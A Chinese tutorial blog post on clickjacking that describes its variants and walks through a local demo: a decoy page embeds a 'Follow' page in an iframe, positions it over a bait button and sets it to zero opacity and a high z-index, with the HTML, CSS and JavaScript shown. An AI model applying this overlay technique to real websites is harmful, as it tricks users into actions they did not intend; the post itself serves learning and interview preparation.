likes
comments
collection
share

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

作者站长头像
站长
· 阅读数 40

点击劫持是当初我在面步步高前端的时候面试官问我的一道问题，当时我以为是类似 proxy 之类的前端代理技术实现，但面试官话锋一转，其实这是一个前端安全方面的八股，面试官这个老 6 属实是给我来了一击措手不及

点击劫持

当时对于前端安全方面，我已经是熟读（死记硬背）了 XSS 攻击和 CSRF 攻击，我以为面应届前端安全应该是洒洒水了，但还是棋差一着，这个点击劫持就是 CSRF 后面的一段安全八股（悔恨没背过）

点击劫持（clickjacking）是一种在网页中将恶意代码等隐藏在看似无害的内容（如按钮）之下，并诱使用户点击的手段。 该术语最早由雷米亚·格罗斯曼（Jeremiah Grossman）与罗伯特·汉森（Robert Hansen）于2008年提出。 这种行为又被称为界面伪装（UI redressing）。 - 维基

光看这一段话应该不大能了解啥是点击劫持，因为它看起来像是 XSS + CSRF 攻击的结合（其实和原理上也可以擦一点边），因为这段话里它既有 XSS 攻击标志性的代码注入，又有 CSRF 攻击标志性的第三方钓鱼网站

那么怎么样的攻击手段才能够将两者攻击结合到一起呢？

原理

经典的点击劫持就是通过将被攻击网站（假设为 A），以 iframe 的形式放到钓鱼网站上（假设为 B），并在 B 中设计一处和 A 重叠的部分（A 重叠的部分是一些敏感操纵，比如转账、关注...），之后将 A 设置为透明，并置于顶层，借助 B 的设计诱导用户点击 A，从而达到在 A 上交互实现敏感操作

攻击类型

Click 点击劫持

就是上面讲述的经典点击劫持，目标对象可以是被害网站所有可以被点击的对象

Flash 点击劫持

制作某种游戏诱使用户点击导致的攻击（由于年代过于久远，Flash 已经名存实亡，我没找到相关的例子，也无法理解其中的原理，但是通过前辈的资料，在以前那个群雄四起的前端年代，是存在过这样一种攻击的）

图片覆盖攻击

这个理论上来说应该属于 XSS 攻击（但是它比较符合维基上面的描述），它是通过注入有浮动的样式的恶意 img 标签代码，在被害网站之上覆盖被害网站上一些比较敏感的内容（注意不是钓鱼网站），比如 1. 替换某个广告位去自己的钓鱼网站 2. 替换网站站长的联系电话 3. 替换用户的头像去自己的钓鱼网站

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

upload_IMG 代指用户上传的图片本应该待的位置

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

拖拽劫持与数据窃取

通过被害网站具有漏洞的拖拽功能交互行为，拖拽数据至钓鱼网站，实施方式与经典点击劫持一致，通过钓鱼网站的 iframe 实现

不过这个例子太新了，我没找到案例

触屏劫持

又叫做 TapJacking，原理和经典点击劫持一致，不过经典点击劫持，劫持的是点击事件，而触屏劫持，劫持的是 touch 事件

不过这个例子太新了，我没找到案例

实施攻击

图片覆盖攻击和 XSS 实施一致，不过是加了样式，可以参考我这篇文章手把手教你实现 XSS 攻击

而文章的例子展示是经典点击劫持，具体场景为某黑客想要给自己的偶像增加关注度，于是制作钓鱼网站，并将偶像的个人资料关注按钮进行点击劫持，具体操作如下

您可以在线查看源代码

此例子是基于 CSRF 攻击 demo 中的，因为防御 CSRF 攻击用到了 token，而点击劫持恰巧又能绕过 token，它的本质上是利用 iframe 自己发送请求（难怪看了 CSRF 八股后没找着点击劫持的八股，原来在后面！）

网站设计

钓鱼网站设计

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

<!-- clcikjacking.html -->
<body>
  <iframe src="http://localhost:3000/v3/follow.html" style="..."></iframe>
  <button>一个无法拒绝点击的按钮</button>
</body>

被害网站设计，Follow 按钮会携带 token 防止 CSRF 攻击

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

<!-- v3/follow.html -->
<body>
  fans: <span class="fansTotal"></span>
  <button class="follow" onclick="handleFollowClick()">Follow</button>
</body>
<script>
  const fansTotal = document.querySelector(".fansTotal");
  const followBtn = document.querySelector(".follow");

  const xhr = new XMLHttpRequest();
  xhr.open("GET", "http://localhost:3000/user/follow");
  xhr.setRequestHeader("Authorization", localStorage.getItem("token"));
  xhr.onreadystatechange = () => {
    if (xhr.readyState === 4) {
      if (xhr.status === 200) {
        fansTotal.innerText = xhr.response;
      }
    }
  };
  xhr.send();

  const handleFollowClick = () => {
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://localhost:3000/user/follow");
    xhr.setRequestHeader("Authorization", localStorage.getItem("token"));
    xhr.onreadystatechange = () => {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          fansTotal.innerText = xhr.response;
        }
      }
    };
    xhr.send();
  };
</script>

iframe 样式设计

初期可以让 iframe 不透明，然后慢慢调整样式

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

调整后，注意，要将 Follow 覆盖在钓鱼网站的按钮上

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

{
  position: absolute;
  left: 0;
  top: -2.4;
  ...
}

最后将 iframe 设置为透明，并设置一个足够高的层级

{
  ...
  opacity: 0;
  z-index: 10000;
}

发起攻击

点击相应区域即可

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

无透视版

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

透视版

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

注意不要按到 Follow 之外的领域，PS：不知道可不可以修改 iframe 内部的样式来达到和我的按钮大小一致的目的，还没有试验过

对于钓鱼网站来说，iframe 是拿到的 token 的，你要理解为它是一个黑盒攻击而不是类似 CSRF 的分析 API 的白盒攻击

什么是点击劫持？实例讲解并教你如何实施一次点击劫持攻击

关于防止点击劫持的方法可以关注我看后续！正在加速编写中

参考资料

转载自:https://juejin.cn/post/7182599905439907898
评论
请登录